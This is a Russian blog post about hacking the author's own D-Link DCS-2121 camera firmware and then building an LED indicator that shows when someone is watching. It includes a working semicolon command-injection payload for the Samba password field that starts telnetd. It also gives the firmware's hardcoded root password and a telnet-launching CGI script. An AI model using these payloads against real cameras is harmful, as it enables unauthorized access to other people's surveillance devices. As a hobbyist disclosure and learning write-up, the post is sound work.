Около года назад приобрел камеру D-Link DCS-2121.
Вот ее краткие характеристики:
- Разрешение 1 Мп
- Микрофон
- Поддержка WiFi
- Web-интерфейс для доступа к данным
- Запись на SD-карту
- Детектор движения
- Внешние логические выходы для подключения к сигнализации
Установлена она была дома, подключена к zoneminder для видеонаблюдения и записи.
Для упрощения доступа сделал «секретную» страничку на домашнем веб-сервере, защищенную паролем, чтобы домашние могли заглядывать в камеру, находясь вне дома. Понятное дело, что на эту «секретную» страничку может заглянуть любой, и это меня здорово беспокоило – никак нельзя понять, смотрит сейчас кто-нибудь в камеру или нет. Отказаться от странички тоже не было возможности по некоторым причинам, не суть важно.
D-Link во все свои устройства встраивает linux. Решил на досуге «поковыряться» в прошивке, вдруг смогу найти в ней что-нибудь интересное.
Для начала скачал последнюю версию с сайта D-Link:
wget http://ftp.dlink.ru/pub/Multimedia/DCS-2121/Firmware/DCS-2102_DCS-2121_A3_FWv.1.06_5731.rar
Прошивка представляет собой обычный самораспаковывающийся shell-скрипт с бинарной частью в конце. Весь смысл скрипта сводится к тому, чтобы отделить бинарную часть и распаковать ее с помощью некой программы ddPack, которая находится на устройстве. Проблема только в том, что я не знаю как она работает.
D-Link любит упаковывать свои прошивки в cramfs, логично было бы предположить, что и на этот раз ничего не изменилось, поэтому пробуем поискать ее «magic»-байты – 0x28cd3d45.
perl -ln0777e 'print pos()-4 while /(x45x3dxcdx28)/g' update_DCS-2102_DCS-2121_1.06_5731.bin
Последовательност была найдена, полученное смещение 1072552.
С помощью dd отделяем раздел с cramfs от остальной бинарной части:
dd if=update_DCS-2102_DCS-2121_1.06_5731.bin of=cramfs bs=1072552 skip=1
На всякий случай проверим:
root@server:/# file cramfs
cramfs: Linux Compressed ROM File System data, little endian size 5926912 version #2 sorted_dirs CRC 0x701ef55d, edition 0, 3667 blocks, 1255 files
Отлично, это именно то, что нам нужно. Монтируем раздел:
mount -o loop,ro cramfs /mnt/tmp
Теперь можно посмотреть, что внутри камеры.
Из прошивки становится понятно, что файловая система монтируется только для чтения, часть конфигурационных файлов генерируют скрипты в /tmp (tmpfs). SD-карта монтируется в /mnt/usb (ext2). В качестве web-сервера используется lighttpd, файлы лежат в /var/www.
Большинство cgi-скриптов являются символическими ссылками на один бинарный cgi – /var/www/cgi.
Было решено проверить этот скрипт на semicolon injection:
root@server:/mnt/var/www/cgi# strings cgibox |grep -E "/.*%s$"
smbmount //%s/%s %s -o username=%s,password=%s
smbmount //%s/%s %s -o username=%s,password=%s
и вот он. Параметры, передаваемые smbmount, никак не проверяются.
Для проверки заходим в web-интерфейс камеры в Setup -> Recording, включем «Enable recording», выбираем «Samba Network Drive» и вбиваем во все поля test, чтобы посмотреть как камера отреагирует на ошибку.
Теперь попробуем в полях «Password» и «Password confirm» написать что-то навроде «test;/bin/true».
Нам повезло, камера весело откликнулась Ok.
В таком случае пробуем вписать туда «test;/usr/sbin/telnetd» и… telnet-доступ открылся:
user@workstation ~$ telnet cam.home
Trying 192.168.1.100...
Connected to cam.home.
Escape character is '^]'.
Living_Room login:
Осталось немного – подобрать логин и пароль. /etc/passwd и /etc/shadow являются символическими ссылками на одноименные файлы в /tmp, следовательно, их генерируют скрипты. Находим упоминания об этом в /etc/rc.d/rc.local:
start() {
touch /tmp/group /tmp/passwd /tmp/shadow
echo 'root:x:0:' > /etc/group
echo 'root:x:0:0:Linux User,,,:/:/bin/sh' > /etc/passwd
echo 'root:$1$gmEGnzIX$bFqGa1xIsjGupHyfeHXWR/:20:0:99999:7:::' > /etc/shadow
Путем нехитрых манипуляция с гуглом выясняем, что данному хэшу соответствует пароль admin… Мило.
Логинимся:
user@workstation ~$ telnet cam.home
Trying 192.168.1.100...
Connected to cam.home.
Escape character is '^]'.
Living_Room login: root
Password:
BusyBox v1.01 (2011.08.30-16:09+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.
~ # uname -a
Linux Living_Room 2.4.19-pl1029 #1 Wed Aug 31 00:10:54 CST 2011 armv4l unknown
Как видим, внутри линукс на ядре 2.4.19, архитектура arm.
Дальнейшие поиски какого-нибудь скрипта, который позволит запускать telnetd во время загрузки камеры оказались неуспешными, но был обнаружен другой, не менее интересный способ запуска демона.
В /var/www была найдена символическая ссылка /var/www/sdcard -> /mnt/usb.
Так как, судя по конфигурационному файлу, web-сервер позволяет выполнять любые файлы с расширением cgi, оказалось, что достаточно просто положить файл telnet.cgi на SD-карту (/mnt/usb/telnet.cgi):
#!/bin/sh
/usr/sbin/telnetd >/dev/null 2>&1 &
echo Telnet started, login with root/admin
exit 0
И теперь запускать telnetd можно прямо из web-интерфейса, вызвав наш cgi по адресу /sdcard/telnet.cgi.
Я стал думать как можно использовать это интересное свойство в своих целях.
Среди всех программ, была найдена одна с интригующим названием – /bin/light. При запуске она выдает следующий список параметров:
light [out1|out2|out3|out4|led|power|active|wpsLed|rs485|ir|irupper] [on|off]
Попробовав разные варианты, я выяснил, что /bin/light позволяет включать-выключать светодиоды, управлять внешними выходами.
Индикатор power/active включить не получилось, он загорается на мгновение и тут же гаснет (у меня в настройках выключена индикация).Гасит этот индикатор демон watchDog, отключить его нельзя.
А вот светодиод wpsLed, находящийся с задней стороны камеры, вполне свободен, при его включении, на фоне камеры появляется красивая синяя подстветка.
Решено, попробуем использовать его в качестве индикации того, что кто-то сейчас смотрит в камеру.
Раньше, для доступа к картинке с камеры, я использовал первый профиль в режиме mjpeg. Он доступен по адресу /video/mjpg.cgi?profileid=1. С помощью nginx я проксировал внешнюю ссылку на этот адрес.
На SD-карте было создано два файла:
Первый — light.sh:
#!/bin/sh
/bin/light wpsLed on >/dev/null 2>&1 &
sleep 3
/bin/light wpsLed off >/dev/null 2>&1 &
exit 0
Смысл его понятен — включить на 3 секунды подсветку.
и второй — light.cgi:
#!/bin/sh
/usr/bin/killall light.sh >/dev/null 2>&1
/mnt/usb/light.sh >/dev/null 2>&1 &
exit 0
Задумка была такова, что если дергать постоянно light.cgi, то будет включена подсветка, если перестать, то подсветка гаснет.
Теперь нужно научиться как-то передавать картинку с камеры и периодически вызывать light.cgi.
Для этой задачи был написан php-скрипт. Пусть тяжеловато, но другого способа передавать данные и одновременно дергать скрипт для поддержки индикации, я не нашел.
Скрипт называется index.php.
<?php
if (!preg_match('/cam$/', $_SERVER["REQUEST_URI"])) {
echo '<html><head></head><body><img src="?cam"></body></html>';
exit;
}
$host = 'cam.home';
$user = 'viewer';
$pass = 'password';
$br = "rn";
function light() {
global $host, $user, $pass, $br;
$socket_l=fsockopen($host, 80, $errno, $errstr, 10);
$headers_l=array(
'GET /sdcard/light.cgi HTTP/1.0',
'Host: '.$host,
'User-Agent: MyUserAgent',
'Authorization: Basic '.base64_encode($user.':'.$pass)
);
fwrite($socket_l, implode($br, $headers_l).$br.$br);
fclose($socket_l);
}
$socket=fsockopen($host, 80, $errno, $errstr, 10);
$headers=array(
'GET /video/mjpg.cgi?profileid=1 HTTP/1.0',
'Host: '.$host,
'User-Agent: MyUserAgent',
'Authorization: Basic '.base64_encode($user.':'.$pass)
);
fwrite($socket, implode($br, $headers).$br.$br);
fgets($socket,1024); // HTTP request line
while(!feof($socket)) { // headers
$hdr = fgets($socket,1024);
if ($hdr == "rn") break;
header($hdr);
}
$beginTime = 0;
while(!feof($socket)) { // data
$data = fgets($socket,1024);
if (microtime(true) - $beginTime >= 2) {
$beginTime = microtime(true);
light();
}
echo $data;
}
?>
При вызове без параметров он выводит простейший html со вставленной картинкой. При вызове с параметром cam (index.php?cam) возвращает саму картинку, не забывая периодически вызывать скрипт включения подсветки. Таким образом, просматривающему камеру, обойти включение подсветки невозможно.
Теперь домашние обращаются к этому php-скрипту. Они видят картинку с камеры, а я всегда точно знаю, когда в камеру кто-то смотрит.
Вот так я интересно провел время, да и результат меня более чем устраивает.
Надеюсь и вам пригодится.
Автор: nikbyte